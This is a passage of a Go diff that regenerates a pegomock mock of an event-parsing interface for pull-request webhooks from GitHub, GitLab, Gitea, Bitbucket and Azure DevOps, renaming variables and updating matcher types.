[]pegomock.Param{body} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketServerPullCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.Repo + var _ret2 models.Repo + var _ret3 models.User + var _ret4 string + var _ret5 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) + } + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) + } + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) + } + if _result[3] != nil { + _ret3 = _result[3].(models.User) + } + if _result[4] != nil { + _ret4 = _result[4].(string) + } + if _result[5] != nil { + _ret5 = _result[5].(error) } } - return ret0 + return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } -func (mock *MockEventParsing) ParseBitbucketCloudPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) { +func (mock *MockEventParsing) ParseBitbucketServerPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{body} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketCloudPullEvent", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.Repo - var ret2 models.Repo - var ret3 models.User - var ret4 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{body} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketServerPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.Repo + var _ret2 models.Repo + var _ret3 models.User + var _ret4 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[1] != nil { - ret1 = result[1].(models.Repo) + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(models.User) + if _result[3] != nil { + _ret3 = _result[3].(models.User) } - if result[4] != nil { - ret4 = result[4].(error) + if _result[4] != nil { + _ret4 = _result[4].(error) } } - return ret0, ret1, ret2, ret3, ret4 + return _ret0, _ret1, _ret2, _ret3, _ret4 } -func (mock *MockEventParsing) ParseBitbucketCloudPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) { +func (mock *MockEventParsing) ParseGiteaIssueCommentEvent(event gitea0.GiteaIssueCommentPayload) (models.Repo, models.User, int, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{body} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketCloudPullCommentEvent", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.Repo - var ret2 models.Repo - var ret3 models.User - var ret4 string - var ret5 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{event} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGiteaIssueCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.Repo + var _ret1 models.User + var _ret2 int + var _ret3 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.Repo) + } + if _result[1] != nil { + _ret1 = _result[1].(models.User) + } + if _result[2] != nil { + _ret2 = _result[2].(int) } - if result[1] != nil { - ret1 = result[1].(models.Repo) + if _result[3] != nil { + _ret3 = _result[3].(error) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + } + return _ret0, _ret1, _ret2, _ret3 +} + +func (mock *MockEventParsing) ParseGiteaPull(pull *gitea.PullRequest) (models.PullRequest, models.Repo, models.Repo, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockEventParsing().") + } + _params := []pegomock.Param{pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGiteaPull", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.Repo + var _ret2 models.Repo + var _ret3 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[3] != nil { - ret3 = result[3].(models.User) + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) } - if result[4] != nil { - ret4 = result[4].(string) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[5] != nil { - ret5 = result[5].(error) + if _result[3] != nil { + _ret3 = _result[3].(error) } } - return ret0, ret1, ret2, ret3, ret4, ret5 + return _ret0, _ret1, _ret2, _ret3 } -func (mock *MockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string) models.PullRequestEventType { +func (mock *MockEventParsing) ParseGiteaPullRequestEvent(event gitea.PullRequest) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{eventTypeHeader} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetBitbucketCloudPullEventType", params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) - var ret0 models.PullRequestEventType - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequestEventType) + _params := []pegomock.Param{event} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGiteaPullRequestEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.PullRequestEventType + var _ret2 models.Repo + var _ret3 models.Repo + var _ret4 models.User + var _ret5 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) + } + if _result[1] != nil { + _ret1 = _result[1].(models.PullRequestEventType) + } + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) + } + if _result[3] != nil { + _ret3 = _result[3].(models.Repo) + } + if _result[4] != nil { + _ret4 = _result[4].(models.User) + } + if _result[5] != nil { + _ret5 = _result[5].(error) } } - return ret0 + return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } -func (mock *MockEventParsing) ParseBitbucketServerPullEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, error) { +func (mock *MockEventParsing) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) (models.Repo, models.User, int, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{body} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketServerPullEvent", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.Repo - var ret2 models.Repo - var ret3 models.User - var ret4 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{logger, comment} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubIssueCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.Repo + var _ret1 models.User + var _ret2 int + var _ret3 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.Repo) } - if result[1] != nil { - ret1 = result[1].(models.Repo) + if _result[1] != nil { + _ret1 = _result[1].(models.User) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(int) } - if result[3] != nil { - ret3 = result[3].(models.User) + if _result[3] != nil { + _ret3 = _result[3].(error) } - if result[4] != nil { - ret4 = result[4].(error) + } + return _ret0, _ret1, _ret2, _ret3 +} + +func (mock *MockEventParsing) ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) (models.PullRequest, models.Repo, models.Repo, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockEventParsing().") + } + _params := []pegomock.Param{logger, ghPull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubPull", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.Repo + var _ret2 models.Repo + var _ret3 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) + } + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) + } + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) + } + if _result[3] != nil { + _ret3 = _result[3].(error) } } - return ret0, ret1, ret2, ret3, ret4 + return _ret0, _ret1, _ret2, _ret3 } -func (mock *MockEventParsing) ParseBitbucketServerPullCommentEvent(body []byte) (models.PullRequest, models.Repo, models.Repo, models.User, string, error) { +func (mock *MockEventParsing) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{body} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseBitbucketServerPullCommentEvent", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.Repo - var ret2 models.Repo - var ret3 models.User - var ret4 string - var ret5 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{logger, pullEvent} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubPullEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.PullRequestEventType + var _ret2 models.Repo + var _ret3 models.Repo + var _ret4 models.User + var _ret5 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[1] != nil { - ret1 = result[1].(models.Repo) + if _result[1] != nil { + _ret1 = _result[1].(models.PullRequestEventType) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(models.User) + if _result[3] != nil { + _ret3 = _result[3].(models.Repo) } - if result[4] != nil { - ret4 = result[4].(string) + if _result[4] != nil { + _ret4 = _result[4].(models.User) } - if result[5] != nil { - ret5 = result[5].(error) + if _result[5] != nil { + _ret5 = _result[5].(error) } } - return ret0, ret1, ret2, ret3, ret4, ret5 + return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } -func (mock *MockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType { +func (mock *MockEventParsing) ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{eventTypeHeader} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetBitbucketServerPullEventType", params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) - var ret0 models.PullRequestEventType - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequestEventType) + _params := []pegomock.Param{ghRepo} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGithubRepo", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.Repo + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.Repo) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } -func (mock *MockEventParsing) ParseAzureDevopsPull(adPull *azuredevops.GitPullRequest) (models.PullRequest, models.Repo, models.Repo, error) { +func (mock *MockEventParsing) ParseGitlabMergeRequest(mr *client_go.MergeRequest, baseRepo models.Repo) models.PullRequest { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockEventParsing().") + } + _params := []pegomock.Param{mr, baseRepo} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequest", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem()}) + var _ret0 models.PullRequest + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) + } + } + return _ret0 +} + +func (mock *MockEventParsing) ParseGitlabMergeRequestCommentEvent(event client_go.MergeCommentEvent) (models.Repo, models.Repo, int, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{adPull} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsPull", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.Repo - var ret2 models.Repo - var ret3 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{event} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestCommentEvent", _params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*int)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.Repo + var _ret1 models.Repo + var _ret2 int + var _ret3 models.User + var _ret4 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.Repo) } - if result[1] != nil { - ret1 = result[1].(models.Repo) + if _result[1] != nil { + _ret1 = _result[1].(models.Repo) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(int) } - if result[3] != nil { - ret3 = result[3].(error) + if _result[3] != nil { + _ret3 = _result[3].(models.User) + } + if _result[4] != nil { + _ret4 = _result[4].(error) } } - return ret0, ret1, ret2, ret3 + return _ret0, _ret1, _ret2, _ret3, _ret4 } -func (mock *MockEventParsing) ParseAzureDevopsPullEvent(pullEvent azuredevops.Event) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { +func (mock *MockEventParsing) ParseGitlabMergeRequestEvent(event client_go.MergeEvent) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{pullEvent} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsPullEvent", params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.PullRequest - var ret1 models.PullRequestEventType - var ret2 models.Repo - var ret3 models.Repo - var ret4 models.User - var ret5 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.PullRequest) + _params := []pegomock.Param{event} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequest)(nil)).Elem(), reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*models.User)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullRequest + var _ret1 models.PullRequestEventType + var _ret2 models.Repo + var _ret3 models.Repo + var _ret4 models.User + var _ret5 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequest) } - if result[1] != nil { - ret1 = result[1].(models.PullRequestEventType) + if _result[1] != nil { + _ret1 = _result[1].(models.PullRequestEventType) } - if result[2] != nil { - ret2 = result[2].(models.Repo) + if _result[2] != nil { + _ret2 = _result[2].(models.Repo) } - if result[3] != nil { - ret3 = result[3].(models.Repo) + if _result[3] != nil { + _ret3 = _result[3].(models.Repo) } - if result[4] != nil { - ret4 = result[4].(models.User) + if _result[4] != nil { + _ret4 = _result[4].(models.User) } - if result[5] != nil { - ret5 = result[5].(error) + if _result[5] != nil { + _ret5 = _result[5].(error) } } - return ret0, ret1, ret2, ret3, ret4, ret5 + return _ret0, _ret1, _ret2, _ret3, _ret4, _ret5 } -func (mock *MockEventParsing) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) { +func (mock *MockEventParsing) ParseGitlabMergeRequestUpdateEvent(event client_go.MergeEvent) models.PullRequestEventType { if mock == nil { panic("mock must not be nil. Use myMock := NewMockEventParsing().") } - params := []pegomock.Param{adRepo} - result := pegomock.GetGenericMockFrom(mock).Invoke("ParseAzureDevopsRepo", params, []reflect.Type{reflect.TypeOf((*models.Repo)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 models.Repo - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(models.Repo) - } - if result[1] != nil { - ret1 = result[1].(error) + _params := []pegomock.Param{event} + _result := pegomock.GetGenericMockFrom(mock).Invoke("ParseGitlabMergeRequestUpdateEvent", _params, []reflect.Type{reflect.TypeOf((*models.PullRequestEventType)(nil)).Elem()}) + var _ret0 models.PullRequestEventType + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullRequestEventType) } } - return ret0, ret1 + return _ret0 } func (mock *MockEventParsing) VerifyWasCalledOnce() *VerifierMockEventParsing { @@ -464,14 +593,14 @@ func (mock *MockEventParsing) VerifyWasCalledOnce() *VerifierMockEventParsing { } } -func (mock *MockEventParsing) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockEventParsing { +func (mock *MockEventParsing) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockEventParsing { return &VerifierMockEventParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockEventParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEventParsing { +func (mock *MockEventParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockEventParsing { return &VerifierMockEventParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -479,7 +608,7 @@ func (mock *MockEventParsing) VerifyWasCalledInOrder(invocationCountMatcher pego } } -func (mock *MockEventParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockEventParsing { +func (mock *MockEventParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockEventParsing { return &VerifierMockEventParsing{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -489,207 +618,241 @@ func (mock *MockEventParsing) VerifyWasCalledEventually(invocationCountMatcher p type VerifierMockEventParsing struct { mock *MockEventParsing - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } -func (verifier *VerifierMockEventParsing) ParseGithubIssueCommentEvent(comment *github.IssueCommentEvent) *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification { - params := []pegomock.Param{comment} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubIssueCommentEvent", params, verifier.timeout) - return &MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification { + _params := []pegomock.Param{eventTypeHeader, sha, pr} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetBitbucketCloudPullEventType", _params, verifier.timeout) + return &MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification struct { +type MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetCapturedArguments() *github.IssueCommentEvent { - comment := c.GetAllCapturedArguments() - return comment[len(comment)-1] +func (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetCapturedArguments() (string, string, string) { + eventTypeHeader, sha, pr := c.GetAllCapturedArguments() + return eventTypeHeader[len(eventTypeHeader)-1], sha[len(sha)-1], pr[len(pr)-1] } -func (c *MockEventParsing_ParseGithubIssueCommentEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []*github.IssueCommentEvent) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*github.IssueCommentEvent, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*github.IssueCommentEvent) +func (c *MockEventParsing_GetBitbucketCloudPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } } return } -func (verifier *VerifierMockEventParsing) ParseGithubPull(ghPull *github.PullRequest) *MockEventParsing_ParseGithubPull_OngoingVerification { - params := []pegomock.Param{ghPull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubPull", params, verifier.timeout) - return &MockEventParsing_ParseGithubPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) GetBitbucketServerPullEventType(eventTypeHeader string) *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification { + _params := []pegomock.Param{eventTypeHeader} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetBitbucketServerPullEventType", _params, verifier.timeout) + return &MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseGithubPull_OngoingVerification struct { +type MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetCapturedArguments() *github.PullRequest { - ghPull := c.GetAllCapturedArguments() - return ghPull[len(ghPull)-1] +func (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetCapturedArguments() string { + eventTypeHeader := c.GetAllCapturedArguments() + return eventTypeHeader[len(eventTypeHeader)-1] } -func (c *MockEventParsing_ParseGithubPull_OngoingVerification) GetAllCapturedArguments() (_param0 []*github.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*github.PullRequest, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*github.PullRequest) +func (c *MockEventParsing_GetBitbucketServerPullEventType_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } } } return } -func (verifier *VerifierMockEventParsing) ParseGithubPullEvent(pullEvent *github.PullRequestEvent) *MockEventParsing_ParseGithubPullEvent_OngoingVerification { - params := []pegomock.Param{pullEvent} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubPullEvent", params, verifier.timeout) - return &MockEventParsing_ParseGithubPullEvent_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockEventParsing) ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) *MockEventParsing_ParseAPIPlanRequest_OngoingVerification { + _params := []pegomock.Param{vcsHostType, path, cloneURL} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseAPIPlanRequest", _params, verifier.timeout) + return &MockEventParsing_ParseAPIPlanRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockEventParsing_ParseGithubPullEvent_OngoingVerification struct { +type MockEventParsing_ParseAPIPlanRequest_OngoingVerification struct { mock *MockEventParsing methodInvocations []pegomock.MethodInvocation } -func (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetCapturedArguments() *github.PullRequestEvent { - pullEvent := c.GetAllCapturedArguments() - return pullEvent[len(pullEvent)-1] +func (c *MockEventParsing_ParseAPIPlanRequest_OngoingVerification) GetCapturedArguments() (models.VCSHostType, string, string) { + vcsHostType, path, cloneURL := c.GetAllCapturedArguments() + return vcsHostType[len(vcsHostType)-1], path[len(path)-1], cloneURL[len(cloneURL)-1] } -func (c *MockEventParsing_ParseGithubPullEvent_OngoingVerification) GetAllCapturedArguments() (_param0 []*github.PullRequestEvent) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]*github.PullRequestEvent, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(*github.PullRequestEvent) +func (c *MockEventParsing_ParseAPIPlanRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []models.VCSHostType, _param1 []string, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.VCSHostType, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.VCSHostType) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } } return } -func (verifier *VerifierMockEventParsing) ParseGithubRepo(ghRepo *github.Repository) *MockEventParsing_ParseGithubRepo_OngoingVerification { - params := []pegomock.Param{ghRepo} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ParseGithubRepo", params, verifier.timeout) - return &MockEventParsing_ParseGithubRepo_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier 